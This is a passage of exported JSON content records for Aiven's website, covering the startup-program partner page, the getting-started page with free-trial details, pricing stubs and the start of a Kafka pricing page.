e2-9305-49fb9daa6829","_type":"reference"},{"_key":"ee310bcbf63b","_ref":"518mUeL7pURWpXWvdbDcJE","_type":"reference"},{"_key":"02784cf08a58","_ref":"4d1ab92f-7094-470b-8d8d-322bb18a9292","_type":"reference"},{"_key":"1ba0e13a0120","_ref":"OZjv3m5Fyk5xtY8W1FASw","_type":"reference"},{"_key":"73629e073857","_ref":"3RRXTYo90bZE7b5gUcUpgd","_type":"reference"},{"_key":"1e743f8e6789","_ref":"1K7aVATqg7aFqES2ev7Nif","_type":"reference"},{"_key":"c193d93bd741","_ref":"e02fdd72-8b6a-449c-85c1-a3916197617f","_type":"reference"},{"_key":"04d903d8891a","_ref":"mqK0V27Iu6YqOBkPCuqtJ","_type":"reference"},{"_key":"00e95aa5ce6a","_ref":"6cbYBJfAGrn9QJdTemPOK2","_type":"reference"},{"_key":"15723171136f","_ref":"1f7b614c-485c-4d2c-901c-46d911d2fadc","_type":"reference"},{"_key":"37b2cd1fba49","_ref":"b9526ccb-3e52-4b51-a63e-a18d54a676eb","_type":"reference"},{"_key":"f34ddb7916ea","_ref":"f46d5923-8a7e-4fac-a7ca-16546002bd79","_type":"reference"},{"_key":"b63097b9979d","_ref":"77J7gSKpPmG41hKjQi6dyl","_type":"reference"},{"_key":"affc58c5e578","_ref":"G2Vr1ToDdzypm29FKGaOR","_type":"reference"},{"_key":"106e50157c2f","_ref":"5Fgqlhohx9Yl7qYksGNrB7","_type":"reference"},{"_key":"398318071cb4","_ref":"5c57b91e-3067-4bdc-b9e7-4b43b3ab4f90","_type":"reference"},{"_key":"a8d6307c6719","_ref":"4644d4a3-a61a-4db9-bf03-b7babe517790","_type":"reference"},{"_key":"efdb6a4987bf","_ref":"3b9bba89-1871-4dec-ba5b-2f462953b4ff","_type":"reference"},{"_key":"44c2c5c16a34","_ref":"6dTbFAbcONjnzhVFmH6CJq","_type":"reference"},{"_key":"962c69c369e5","_ref":"e113e6c8-2055-4a86-b704-1d6f74f4662a","_type":"reference"},{"_key":"e1305ce1c657","_ref":"7d2b8612-eb10-4985-94f5-0c46a90668cb","_type":"reference"},{"_key":"1f775c806932","_ref":"839c541d-e2e2-40b9-9287-e5719e8ec937","_type":"reference"},{"_key":"2e48711cf3d8","_ref":"a351cccc-d728-41a7-a5f5-46dd61648201","_type":"reference"},{"_key":"1d76ce3eea17","_ref":"mILXVBnwdRWnfesAnxgDF","_type":"reference"},{"_key":"f3504da783af","_ref":"0faf4e3f-57db-4bb8-8a4e-2c027e8cf059","_type":"reference"},{"_key":"e8ed14244c7b","_ref":"c6ebee80-ffe2-43c5-8362-d60f2a0b054b","_type":"reference"},{"_key":"2d8f04bf3cee","_ref":"4ShLUFrH8P8N23QatO8njc","_type":"reference"},{"_key":"d1405e61a221","_ref":"ef5f2b01-4cd5-4b03-b0d0-97a309e1c498","_type":"reference"},{"_key":"abad98ca7392","_ref":"4wPEuVo92wxzSHjDXPAGDK","_type":"reference"},{"_key":"d5f48815ca3d","_ref":"1NDEQe1KkqOH6gFaab75vN","_type":"reference"}],"rounded":false,"subtitle":[{"_key":"a441435a9b33","_type":"block","children":[{"_key":"894b69c7cb970","_type":"span","marks":[],"text":"If your investor, accelerator or incubator is not listed below, you can ask them to apply to become a Cluster partner by filling out "},{"_key":"af7fbb1acd3b","_type":"span","marks":["1b19b5d401a6"],"text":"this form"},{"_key":"9f211c0830ab","_type":"span","marks":[],"text":"."}],"markDefs":[{"_key":"1b19b5d401a6","_type":"link","href":"https://form.typeform.com/to/oQF9DH2J"}],"style":"normal"}],"title":"Current partners","variant":"logo"},{"_key":"3b4db65aca1c","_type":"textImage","addSpaceBottom":true,"backgroundColor":{"_ref":"bad36c2a-4fde-4006-88ce-318196f3ff07","_type":"reference"},"disabled":false,"fullWidth":false,"image":{"_type":"mainImage","asset":{"_ref":"image-f938cd57e74ea990abe29da703029865c2497d31-500x497-png","_type":"reference"}},"narrowImage":true,"rounded":true,"text":[{"_key":"d8b4fb41e401","_type":"block","children":[{"_key":"17c4d7da8e950","_type":"span","marks":[],"text":"• up to $100,000 credit for Aiven services"}],"markDefs":[],"style":"normal"},{"_key":"1079ca2aefc3","_type":"block","children":[{"_key":"128a5b1d9a870","_type":"span","marks":[],"text":"• Access to Aiven technical expertise and portfolio of open source services"}],"markDefs":[],"style":"normal"},{"_key":"9f3a347793e7","_type":"block","children":[{"_key":"fb5cfe45a1a40","_type":"span","marks":[],"text":"• Mentoring and virtual events focused on Aiven service use cases"}],"markDefs":[],"style":"normal"},{"_key":"f90fb09754cc","_type":"block","children":[{"_key":"cc1424db17a30","_type":"span","marks":[],"text":"• Promotion and support to help eligible startups scale up"}],"markDefs":[],"style":"normal"},{"_key":"97b321406176","_type":"block","children":[{"_key":"5c587188b81d0","_type":"span","marks":["strong"],"text":"Got questions about Aiven Cluster?"}],"markDefs":[],"style":"normal"},{"_key":"75777d44c45b","_type":"block","children":[{"_key":"6047516aa339","_type":"span","marks":[],"text":"Contact us "},{"_key":"317de727d4fd","_type":"span","marks":["311db6246419"],"text":"cluster@aiven.io"}],"markDefs":[{"_key":"311db6246419","_type":"link","href":"mailto:cluster@aiven.io"}],"style":"normal"}],"title":"Why join Aiven Cluster?","variant":"mediaLeft"}],"seo":{"_type":"metaData","metaDescription":"To apply to the Aiven Cluster startup program, your startup needs to be affiliated with one of our partnering accelerators, incubators, or VCs.","metaImage":{"_type":"mainImage","asset":{"_ref":"image-f51de925a03b4b1b4b6726d141798eda2fe7cd7d-1200x628-jpg","_type":"reference"}},"metaTitle":"Aiven Cluster Startup Program - Investor Partners"},"slug":{"_type":"slug","current":"/cluster-investor-partners"},"title":"Cluster partners"} {"__i18n_lang":"en","_createdAt":"2022-09-07T20:51:38Z","_id":"814b2c0a-94d5-4b79-a17f-1a1d5f54f10a","_rev":"c9TjXEWyWBArEQcMlwHFlE","_type":"page","_updatedAt":"2023-06-21T08:02:03Z","seo":{"_type":"metaData","metaDescription":"The latest updates and improvements to Aiven's open source cloud data platform. ","metaImage":{"_type":"mainImage","asset":{"_ref":"image-d5aeed21a61ecdc16bc7f53357ecad5fac4feaba-1200x630-jpg","_type":"reference"}},"metaTitle":"Aiven product updates | Latest advancements | Discover more"},"slug":{"_type":"slug","current":"/changelog"},"title":"Changelog"} {"__i18n_lang":"en","_createdAt":"2022-09-13T15:58:30Z","_id":"8666ea6a-08b2-4010-8152-197e7865a234","_rev":"Tpe1Rj6o9fDmGqbWvmJ8mE","_type":"page","_updatedAt":"2024-10-10T13:08:43Z","content":[{"_key":"31f493a8478f","_type":"hero","backgroundColor":{"_ref":"691c748b-6770-40d0-94dc-95f21aa776c8","_type":"reference"},"darkTheme":true,"description":[{"_key":"112381550d92","_type":"block","children":[{"_key":"ad8cba8e6dca0","_type":"span","marks":[],"text":"Whether you’re new to managed services or a seasoned cloud infra pro, getting started with Aiven is easy."}],"markDefs":[],"style":"normal"}],"disabled":false,"fullWidth":true,"image":{"_type":"mainImage","asset":{"_ref":"image-88b2848ed2d49660e7a2b377d802062d5a6889ed-2667x1500-png","_type":"reference"}},"imageSize":"default","primaryCTA":{"_type":"link","caption":"No credit card required.","externalUrl":"https://console.aiven.io/signup","title":"Get started for free"},"rounded":false,"title":"Get started with Aiven","variant":"default"},{"_key":"he930we5kp46c0t5h788s5by268ds5w3","_type":"arcade","addSpaceBottom":false,"addSpaceTop":false,"arcadeHeight":56,"arcadeID":"Qu23OFL2otb0JrreOt4L","arcadeTitle":"Create service","backgroundPosition":"center center","backgroundPositionMobile":"center center","backgroundSize":"cover","backgroundSizeMobile":"cover","disabled":false,"fullWidth":false,"id":"demo","noSpaceBottom":false,"noSpaceTop":false,"roundedCorners":"rounded-none","subtitle":[{"_key":"bfd8cd013705","_type":"block","children":[{"_key":"ce118fc63639","_type":"span","marks":["88e5a0ebe97a"],"text":"Free plan"},{"_key":"4cc5633f75b2","_type":"span","marks":[],"text":" available with Aiven for PostgreSQL, Aiven for Valkey, and Aiven for MySQL."}],"markDefs":[{"_key":"88e5a0ebe97a","_type":"link","href":"https://aiven.io/docs/platform/concepts/free-plan"}],"style":"normal"},{"_key":"616576845434","_type":"block","children":[{"_key":"ca263f25e9b7","_type":"span","marks":[],"text":"Or, do a free "},{"_key":"346c80b3125b","_type":"span","marks":["7532429d7083"],"text":"30-day trial"},{"_key":"ec5f5a808d8b","_type":"span","marks":[],"text":" to try other services."}],"markDefs":[{"_key":"7532429d7083","_type":"link","href":"https://aiven.io/docs/platform/concepts/free-trial"}],"style":"normal"},{"_key":"7e0708a9be71","_type":"block","children":[{"_key":"9a99b80ebcd8","_type":"span","marks":[],"text":"$300 credit to play with"}],"level":1,"listItem":"bullet","markDefs":[],"style":"normal"},{"_key":"4f28c0364717","_type":"block","children":[{"_key":"a37dc2f5df00","_type":"span","marks":[],"text":"Unrestricted access to Aiven services"}],"level":1,"listItem":"bullet","markDefs":[],"style":"normal"},{"_key":"1cf621c51e1d","_type":"block","children":[{"_key":"b29ba5f173ad","_type":"span","marks":[],"text":"If you continue using Aiven after your 30-day trial, you only pay for what you use. There are no hidden charges. You can shut it down, or spin up clusters, add services, or change cloud providers at the click of a button. "},{"_key":"a5af3f11dc10","_type":"span","marks":["b0b636b8eb06"],"text":"Try it now!"}],"markDefs":[{"_key":"b0b636b8eb06","_type":"link","href":"https://console.aiven.io/signup"}],"style":"normal"}],"tagline":"Try the Aiven Platform","title":"Quick and easy","topOverlap":false,"variant":"split"},{"_key":"3a2312051e69","_type":"textVideo","disabled":true,"fullWidth":false,"rounded":false,"text":[{"_key":"daa881d15960","_type":"block","children":[{"_key":"22a8109439730","_type":"span","marks":[],"text":"We provide a free 30-day trial, give you $300 credit to play with, and unrestricted access to our complete range of open source services."}],"markDefs":[],"style":"normal"},{"_key":"1f617ac7ce11","_type":"block","children":[{"_key":"e41ff892f4be0","_type":"span","marks":[],"text":"When you’ve finished the trial period, you only pay for what you use. There are no hidden charges, and you can shut down and spin up clusters, add services, or change providers at the click of a button."}],"markDefs":[],"style":"normal"}],"title":"Creating a service is easy ","variant":"mediaLeft","ytId":"FA6pcvhhut8"},{"_key":"38a7e2cd5512","_type":"cardList","align":"center","disabled":true,"fullWidth":true,"items":[{"_key":"2b402645cd00","_type":"cardItem","subtitle":[{"_key":"c1c3c14723b0","_type":"block","children":[{"_key":"b6745ae4b7640","_type":"span","marks":[],"text":"Starting a trial is easy and stress-free with our web-based console."}],"markDefs":[],"style":"normal"},{"_key":"01565c073a55","_type":"block","children":[{"_key":"1b8c5e5677cb0","_type":"span","marks":[],"text":"No credit card needed"}],"level":1,"listItem":"bullet","markDefs":[],"style":"normal"},{"_key":"eb5688b7f786","_type":"block","children":[{"_key":"0eb72ca6f7050","_type":"span","marks":[],"text":"No cloud account needed"}],"level":1,"listItem":"bullet","markDefs":[],"style":"normal"},{"_key":"1ac8efb45eff","_type":"block","children":[{"_key":"109d43652b2c0","_type":"span","marks":[],"text":"No install needed"}],"level":1,"listItem":"bullet","markDefs":[],"style":"normal"},{"_key":"fe7fbac88b34","_type":"block","children":[{"_key":"c6700af3a9400","_type":"span","marks":["strong","ec7db436e593"],"text":"Just sign up"},{"_key":"4937d541e725","_type":"span","marks":["strong"],"text":" and you’re good to go."}],"markDefs":[{"_key":"ec7db436e593","_type":"link","href":"https://console.aiven.io/signup"}],"style":"normal"}],"title":"1. Sign up for a trial","variant":"default"},{"_key":"1b952b1b3f8467324b14619696ff03d6","_type":"cardItem","subtitle":[{"_key":"862d19b4ce46","_type":"block","children":[{"_key":"6f33d62f5bf80","_type":"span","marks":[],"text":"Once you’re in, you can spin up a cluster in under 10 minutes."}],"markDefs":[],"style":"normal"},{"_key":"cbc5b0e091ba","_type":"block","children":[{"_key":"fd1c64ef29e40","_type":"span","marks":[],"text":"Select a service"}],"level":1,"listItem":"bullet","markDefs":[],"style":"normal"},{"_key":"0a3b3e89f0ff","_type":"block","children":[{"_key":"db56a59a49aa0","_type":"span","marks":[],"text":"Choose a provider, region and plan"}],"level":1,"listItem":"bullet","markDefs":[],"style":"normal"},{"_key":"985903ae837a","_type":"block","children":[{"_key":"50bfb6b6e1d90","_type":"span","marks":[],"text":"Name and create your service"}],"level":1,"listItem":"bullet","markDefs":[],"style":"normal"},{"_key":"273c7df28a06","_type":"block","children":[{"_key":"f2b27420ab850","_type":"span","marks":["strong"],"text":"That’s it! Welcome to the cloud."}],"markDefs":[],"style":"normal"}],"title":"2. Create a service","variant":"default"},{"_key":"71f0bd1cb0c8c5982284a9065ac0f10c","_type":"cardItem","subtitle":[{"_key":"02265cb734be","_type":"block","children":[{"_key":"e16c95a671430","_type":"span","marks":[],"text":"With everything up and running, it’s time to play around."}],"markDefs":[],"style":"normal"},{"_key":"fced056fa92f","_type":"block","children":[{"_key":"091cc742a7310","_type":"span","marks":["0b576c6d89ea"],"text":"Set up some connections"}],"level":1,"listItem":"bullet","markDefs":[{"_key":"0b576c6d89ea","_type":"link","href":"https://docs.aiven.io/docs/products/postgresql/howto/list-code-samples.html"}],"style":"normal"},{"_key":"40455d068258","_type":"block","children":[{"_key":"8ed99b4bebf30","_type":"span","marks":["6a7180032f92"],"text":"Test services with sample data"}],"level":1,"listItem":"bullet","markDefs":[{"_key":"6a7180032f92","_type":"link","href":"https://aiven.io/developer/create-your-own-data-stream-for-kafka-with-python-and-faker"}],"style":"normal"},{"_key":"6d914daa0c50","_type":"block","children":[{"_key":"33cb54a8cc940","_type":"span","marks":["strong"],"text":"Find more ideas to get started below."}],"markDefs":[],"style":"normal"}],"title":"3. Have fun","variant":"default"}],"rounded":false,"title":"As easy as 1-2-3"},{"_key":"b73dfe7a3ad7","_type":"serviceList","compliance":[{"_key":"2fb079da73a1","_type":"textIconItem","icon":{"_type":"mainImage","asset":{"_ref":"image-1bdfde2875e6ddebd644205ed02f511116278f6a-40x40-svg","_type":"reference"}},"title":"ISO 27001 / 27017 / 27018 / 27701"},{"_key":"404e29774255","_type":"textIconItem","icon":{"_type":"mainImage","asset":{"_ref":"image-83778ee98c9e049769d003e7a753efa4b63a276b-40x40-svg","_type":"reference"}},"title":"SOC2"},{"_key":"2a989c1f1f8c","_type":"textIconItem","icon":{"_type":"mainImage","asset":{"_ref":"image-a315c2be874b3ceebef8ad2dedd9e8ebf0735b66-40x40-svg","_type":"reference"}},"title":"HIPAA"},{"_key":"a300728a25d9","_type":"textIconItem","icon":{"_type":"mainImage","asset":{"_ref":"image-755a96d4bd3934033e98ac391d913265d09537af-40x40-svg","_type":"reference"}},"title":"PCI-DSS"},{"_key":"1f073a9824d5","_type":"textIconItem","icon":{"_type":"mainImage","asset":{"_ref":"image-203403621ac80cf3125943af581ab051cfe3b2fc-40x40-svg","_type":"reference"}},"title":"GDPR"}],"disabled":false,"fullWidth":false,"hostProviders":[{"_key":"813f16828790","_ref":"080b4781-d7b8-4d95-8aa6-aeb4989bf5c6","_type":"reference"},{"_key":"2bd8f889144d","_ref":"adc248e9-c65b-45b5-a4e6-930767897444","_type":"reference"},{"_key":"a63338751ba3","_ref":"62e1cd4e-b8a5-4a68-a78f-80cd075c17e6","_type":"reference"},{"_key":"aa19342d5102","_ref":"2c2f2baa-24b0-4b7a-812b-bed3f20f2030","_type":"reference"},{"_key":"007cd63d3323","_ref":"6ed4cb03-b0d9-4009-bbf7-382ca41bcf26","_type":"reference"},{"_key":"59820479079d","_ref":"9039a507-d3b4-402a-964b-6fa829d56ef8","_type":"reference"}],"identity":[{"_key":"74ec3d310a6a","_type":"textIconItem","icon":{"_type":"mainImage","asset":{"_ref":"image-2aadb73ffc8ecbc3747f4ba5ca1705b1e1f9e776-38x48-png","_type":"reference"}},"title":"Auth0"},{"_key":"22fecb4bafea","_type":"textIconItem","icon":{"_type":"mainImage","asset":{"_ref":"image-464fc02ec7c43c5947991a0eb54dacf652749812-47x48-png","_type":"reference"}},"title":"FusionAuth"},{"_key":"f2ee6f39caec","_type":"textIconItem","icon":{"_type":"mainImage","asset":{"_ref":"image-6ea6284e995c0582493b818cbddd45f5b331204c-512x512-png","_type":"reference"}},"title":"Azure AD"},{"_key":"5fef4a8134b4","_type":"textIconItem","icon":{"_type":"mainImage","asset":{"_ref":"image-7ca00d77106a3a3e685189391226e0a369971d49-512x512-png","_type":"reference"}},"title":"Okta"},{"_key":"51d1572e29c1","_type":"textIconItem","icon":{"_type":"mainImage","asset":{"_ref":"image-cf4caddee0c6423b881728ae13d5e028bac6ee1a-462x462-png","_type":"reference"}},"title":"OneLogin"},{"_key":"53060d608ef3","_type":"textIconItem","icon":{"_type":"mainImage","asset":{"_ref":"image-67c9baae7ccc0cddbb36097f4245bb85e5bd15b5-49x48-png","_type":"reference"}},"title":"Google"}],"integrations":[{"_key":"9944d5fd5a6c","_ref":"22d8ccfb-b77c-4029-94c0-c7519397935a","_type":"reference"},{"_key":"ba2291c7ca82","_ref":"6b6199d0-5ca3-421d-91df-82fb15688d28","_type":"reference"},{"_key":"ed143bef6c3f","_ref":"2ba1dfda-6041-4ac9-b258-085aa41ebfa1","_type":"reference"},{"_key":"f42bd7d597a3","_ref":"beb356d4-e5a4-4c9c-abfa-9f58e3d9cebc","_type":"reference"},{"_key":"b12f41d74eab","_ref":"fb7167db-3a21-49ad-836b-c1b8b34eaa77","_type":"reference"},{"_key":"2b277ab1aaba","_ref":"5965cdaa-ee18-4090-a084-62463619b757","_type":"reference"},{"_key":"7a45c8fa3f78","_ref":"ab20f261-f294-45ca-8289-e369255c7366","_type":"reference"},{"_key":"daee74a8dc4a","_ref":"db1c8e5c-df2f-48b1-aae4-852962d61aeb","_type":"reference"},{"_key":"7623a42647ee","_ref":"98cebc13-16ae-42db-a6de-4458949c0dc3","_type":"reference"},{"_key":"134d24bdd776","_ref":"76a88a82-92c9-409d-9f30-30207c9ba701","_type":"reference"},{"_key":"8313eeaa4146","_ref":"5007821b-436e-4ebb-8a07-242c4a5f7448","_type":"reference"},{"_key":"e414d53b22d7","_ref":"157b3267-4eb0-49eb-ad17-537d5a95772d","_type":"reference"},{"_key":"8ebd211e5162","_ref":"4bed5fe2-e20e-4edc-b54b-5bb47e9fd982","_type":"reference"},{"_key":"22852322e823","_ref":"4b76ba83-b8b9-4f4e-b04f-670c2994ce1e","_type":"reference"}],"managed":[{"_key":"b15fa0a3b729","_type":"textIconItem","icon":{"_type":"mainImage","asset":{"_ref":"image-380123baa06f9ca6bb46fe482bdcc97c47209fa5-40x40-svg","_type":"reference"}},"title":"Option for 24/7 enterprise support"},{"_key":"352fa6debebc","_type":"textIconItem","icon":{"_type":"mainImage","asset":{"_ref":"image-8474ceba50fe54d50d2670a9c9addbaa3cda6c3a-40x40-svg","_type":"reference"}},"title":"99,99% uptime"},{"_key":"b36d39c7b571","_type":"textIconItem","icon":{"_type":"mainImage","asset":{"_ref":"image-e78c0cfc10eb10e0f1755722c4e90bca06cb515b-40x40-svg","_type":"reference"}},"title":"High availability"},{"_key":"313da07ea78e","_type":"textIconItem","icon":{"_type":"mainImage","asset":{"_ref":"image-9c38e4da11ad04c0092f9636f7a9fd83031bd77d-40x40-svg","_type":"reference"}},"title":"6+ clouds and 100+ regions"},{"_key":"4304b1f0d0fd","_type":"textIconItem","icon":{"_type":"mainImage","asset":{"_ref":"image-9b722bb976b2ca9767d6e95bbe71206a156c84f8-40x40-svg","_type":"reference"}},"title":"Automated backup"}],"securityNetwork":[{"_key":"9789a8f587d7","_type":"textIconItem","icon":{"_type":"mainImage","asset":{"_ref":"image-c195dd4a51d06e7435afd3a72c230871cb99de24-40x40-svg","_type":"reference"}},"title":"Encryption in transit and at rest"},{"_key":"0c1075ddf9a0","_type":"textIconItem","icon":{"_type":"mainImage","asset":{"_ref":"image-7129481004ef88ea22a8c2f6a2c7daaf7126bb9a-40x40-svg","_type":"reference"}},"title":"Dedicated virtual machines"},{"_key":"f07715ba4f4c","_type":"textIconItem","icon":{"_type":"mainImage","asset":{"_ref":"image-cf142cafaab2b83bf2b2fa991a3a582da04545b1-40x40-svg","_type":"reference"}},"title":"Automated security updates"},{"_key":"5309f58d3420","_type":"textIconItem","icon":{"_type":"mainImage","asset":{"_ref":"image-4101100615713e748e9a72604adb0a26b86ab150-40x40-svg","_type":"reference"}},"title":"VPC Peering"},{"_key":"4b26bc2703cb","_type":"textIconItem","icon":{"_type":"mainImage","asset":{"_ref":"image-f3ffa2a39382f848d72e84cb80bda5c8df0c4088-40x40-svg","_type":"reference"}},"title":"Private-link"},{"_key":"840083d51653","_type":"textIconItem","icon":{"_type":"mainImage","asset":{"_ref":"image-e5612d6f4c1fce0ace581f6e2b1ff516f266ee26-40x40-svg","_type":"reference"}},"title":"Transit-gateway"}],"services":[{"_key":"d3b8fae6420d","_ref":"5383cbbd-be42-476d-9851-14f1a7621644","_type":"reference"},{"_key":"0f2a6522d852b6af97e02ace3367a598","_ref":"fa631193-9a6d-498e-8545-af24408bef0b","_type":"reference"},{"_key":"3171eed9adcb733d97edbf12abf91e8e","_ref":"62cedd51-63b9-476e-8e2e-9076cef60562","_type":"reference"},{"_key":"c52820f7c38d","_ref":"1e5afeea-8442-4a65-84fd-5475f78e09b3","_type":"reference"},{"_key":"fc8aec971d5bc78447b0f9175e601deb","_ref":"db342e52-911f-4028-8bf6-22a131000126","_type":"reference"},{"_key":"d3c32fe20e505431582b524037021e57","_ref":"dbcea4b7-b6c9-43d7-a23f-b09594966858","_type":"reference"},{"_key":"88617a88129a130f861fc80f9c9e6219","_ref":"4a513bb1-7be8-4a17-a847-cbbeedb2da2b","_type":"reference"},{"_key":"8255890675f7","_ref":"3d8215ce-236e-42c1-9599-a3f68ad67d6d","_type":"reference"},{"_key":"75c5d661d4f3","_ref":"861f137f-be9f-4b7a-b55d-b95fd5fd7500","_type":"reference"},{"_key":"897647ae7b0f","_ref":"32901e10-74d0-48c8-a797-be1bb58c8839","_type":"reference"},{"_key":"c94d09e8d0cab4f4bc91f9b7d783a3b1","_ref":"15ecb747-c8c1-42ad-baab-e7551844a508","_type":"reference"},{"_key":"7ff67da626e1","_ref":"d0c7af0a-c0a3-4169-83ad-6ac0bcda70a1","_type":"reference"},{"_key":"e9cb87e4464f","_ref":"b20a3d87-8bd6-430c-b79f-f7c59af0d8dd","_type":"reference"},{"_key":"f57e46c11220","_ref":"d7af1e8f-797a-4896-8a4f-3cfc07701050","_type":"reference"},{"_key":"f625d881a9b5","_ref":"b1cbe8d3-73b7-4d2e-90b6-13f07afb45d7","_type":"reference"}],"subtitle":[{"_key":"38592a4ba5e2","_type":"block","children":[{"_key":"e56a5b3dbb9f0","_type":"span","marks":[],"text":"All your favourite open source services and tools are ready and waiting for you to deploy on the cloud of your choice. Just pick your services, integrations, cloud provider and storage needs, and you’re good to go. Learn more about how "},{"_key":"5a27c4d68243","_type":"span","marks":["cb82a183a212"],"text":"Aiven Platform"},{"_key":"afc54b7e6589","_type":"span","marks":[],"text":" can help you scale."}],"markDefs":[{"_key":"cb82a183a212","_type":"internalLink","internalLink":{"_ref":"3b0bd26a-ed6b-424d-a710-7fe3f17b29de","_type":"reference"}}],"style":"normal"}],"tagline":"What is Aiven?","title":"With Aiven, you’ll never need to worry about managing your data infra again. We’ll take care of it for you.","tools":[{"_key":"0048c9597309","_ref":"9096ab2c-f4cd-421e-aa1a-b10d462d6011","_type":"reference"},{"_key":"6722e5c643f5","_ref":"2c9ddba5-c82b-4166-95c8-22f314164f97","_type":"reference"},{"_key":"efa856959c30","_ref":"fa4d544f-efa9-4a82-9ef7-74f714d5f34f","_type":"reference"},{"_key":"b013527192d4","_ref":"7179878d-2860-4cc5-a30e-a1e24b236517","_type":"reference"}]},{"_key":"e927bbd313cb","_type":"cardList","addSpaceBottom":false,"addSpaceTop":false,"align":"center","backgroundPosition":"center center","backgroundPositionMobile":"center center","backgroundSize":"cover","backgroundSizeMobile":"cover","disabled":false,"fullWidth":false,"headerPosition":"default","items":[{"_key":"c979d15b84cd","_ref":"52573ae1-b86a-4fca-9ad8-9893a5596585","_type":"caseStudy"},{"_key":"4492ccccba4d","_ref":"70bc73d4-2f43-4499-9c4f-fbf349c35841","_type":"caseStudy"},{"_key":"f0e6093d38da","_ref":"47e2eccc-fc6b-47c2-a0f7-7c266595b7f6","_type":"webinar"}],"itemsPerRow":3,"noSpaceBottom":false,"noSpaceTop":false,"title":"Customers that have succeeded with Aiven"},{"_key":"m0em41s9sbv8xf094dr3ekpnq8nt79hs","_type":"textColumn","addSpaceBottom":false,"addSpaceTop":false,"backgroundColor":{"_ref":"691c748b-6770-40d0-94dc-95f21aa776c8","_type":"reference"},"backgroundImage":{"_type":"mainImage","asset":{"_ref":"image-59f93eea73f1b4012da358ba444ee101f936f8d7-1265x431-svg","_type":"reference"}},"backgroundPosition":"center center","backgroundPositionMobile":"center center","backgroundSize":"cover","backgroundSizeMobile":"cover","darkTheme":true,"disabled":false,"fullWidth":true,"noSpaceBottom":false,"noSpaceTop":false,"primaryCTA":{"_type":"link","externalUrl":"https://console.aiven.io/signup","title":"Get started for free"},"roundedCorners":"rounded-t","secondaryCTA":{"_type":"link","internalLink":{"_ref":"3b0bd26a-ed6b-424d-a710-7fe3f17b29de","_type":"reference"},"title":"Discover Aiven Platform"},"subtitle":[{"_key":"zu4bn6t2hwfbbgeqjhhknayd7jtk0zea","_type":"block","children":[{"_key":"txh8eqbvsssittgmpos1cx4iypcu8ezl","_type":"span","marks":[],"text":"Aiven’s all-in-one cloud data "},{"_key":"vz165qzvaikz84wymhnhnacriczovfgu","_type":"span","marks":["92b5dd612d4b"],"text":"platform"},{"_key":"6mnrk4b5hte0bk55ayvomtdt9l1boh43","_type":"span","marks":[],"text":" combines all the tools you need to connect to the data services you use, on all major cloud providers. Deploy a service on Aiven in just 10 minutes, without needing a credit card. Choose your service, cloud, and region, and get started in minutes."}],"markDefs":[{"_key":"92b5dd612d4b","_type":"internalLink","internalLink":{"_ref":"3b0bd26a-ed6b-424d-a710-7fe3f17b29de","_type":"reference"}}],"style":"normal"}],"title":"Try Aiven Platform","topOverlap":false,"variant":"centerColumn"}],"seo":{"_type":"metaData","metaDescription":"Getting started with Aiven is easy. Set up fully managed cloud data infra fast, and use these tutorials, help and tips to get up and running with Aiven.","metaImage":{"_type":"mainImage","asset":{"_ref":"image-1b0ac3e56d861b8415f5619d17b9a735f9c82db2-1200x630-jpg","_type":"reference"}},"metaTitle":"Start your data transformation with Aiven | Get started now"},"slug":{"_type":"slug","current":"/how-to-get-started-with-aiven"},"title":"Get started with Aiven"} {"__i18n_lang":"en","_createdAt":"2023-12-18T08:16:49Z","_id":"1ae17d9b-e79f-471e-9cb2-d733725273f4","_rev":"7oPGYyiRG7hm5kP9hkfmGK","_type":"page","_updatedAt":"2023-12-22T08:42:31Z","infoBannerPosition":"bottom","resourceTag":{"_type":"resourceTag","contentType":{"_ref":"61d06542-93ca-4a1b-b925-69b3a7c6285d","_type":"reference"},"tags":[{"_key":"931a84df218e","_ref":"29ac1f18-a883-4795-be2c-db6bdec86ace","_type":"tag"}]},"seo":{"_type":"metaData","excludeFromSitemap":false,"metaDescription":"Estimate Aiven costs effortlessly with our Pricing Calculator. Find your optimal plan in seconds and start saving today!","metaImage":{"_type":"mainImage","asset":{"_ref":"image-4b0a4645242799fa638268ef6081968b34c71cce-1200x630-jpg","_type":"reference"}},"metaTitle":"Pricing Calculator | Aiven"},"slug":{"_type":"slug","current":"/pricing/calculator"},"title":"Pricing Calculator"} {"__i18n_lang":"en","_createdAt":"2022-09-14T10:03:15Z","_id":"c3f4e356-f474-4130-827c-fb30a78ac222","_rev":"zE08g5Yj02ino50zLcSrGi","_type":"page","_updatedAt":"2023-10-18T12:52:03Z","content":[{"_key":"0713e523472f","_type":"infoBannerSection","addSpaceBottom":false,"addSpaceTop":false,"backgroundPosition":"center center","backgroundPositionMobile":"center center","disabled":false,"fullWidth":false,"infoBanner":{"_ref":"d36f345b-fd3e-441b-981e-92e497d886b1","_type":"reference"},"noSpaceBottom":true,"noSpaceTop":true,"rounded":false,"variant":"vertical"},{"_key":"61bdca39353f","_type":"iconList","addSpaceBottom":false,"addSpaceTop":false,"backgroundPosition":"center center","backgroundPositionMobile":"center center","disabled":false,"fullWidth":false,"headerPosition":"default","iconSize":24,"icons":[{"_key":"9c5abe66c58a","_type":"iconItem","iconImage":{"_type":"mainImage","asset":{"_ref":"image-ab085d541ffda89ec1fd230558a3d8838204a851-25x24-svg","_type":"reference"}},"title":"Pay only for what you use"},{"_key":"a0dbd217b9783fe0e59a8a51375c98c2","_type":"iconItem","iconImage":{"_type":"mainImage","asset":{"_ref":"image-e7196743bdb72ecfdfadc1e773ff78971bb14c15-24x24-svg","_type":"reference"}},"title":"No networking costs"},{"_key":"c70af20caca56d434c75d99a6cc3034e","_type":"iconItem","iconImage":{"_type":"mainImage","asset":{"_ref":"image-c73588011bea5b815efb960f9bb5ed6aa5a46c64-24x24-svg","_type":"reference"}},"title":"99.99% availability guarantee"},{"_key":"610a131cef580f307f1dc9389cdf3c92","_type":"iconItem","iconImage":{"_type":"mainImage","asset":{"_ref":"image-0a79c1fce4fc66bc0e3e731b6cbac27ba80bfeb9-24x24-svg","_type":"reference"}},"title":"24/7 and 100% human support"}],"itemsPerRow":2,"noSpaceBottom":false,"noSpaceTop":false,"primaryCTA":{"_type":"link","externalUrl":"https://console.aiven.io/signup","title":"Get started for free"},"rounded":false,"secondaryCTA":{"_type":"link","internalLink":{"_ref":"8930abef-2819-4638-b11a-a3a2e33e18ff","_type":"reference"},"title":"Book a demo"},"subtitle":[{"_key":"5b3a5d16b7c8","_type":"block","children":[{"_key":"6926bfd9d7610","_type":"span","marks":[],"text":"You can scale up or scale down your plan as you need, with near-zero service downtime."}],"markDefs":[],"style":"normal"}],"title":"Our Kafka pricing is 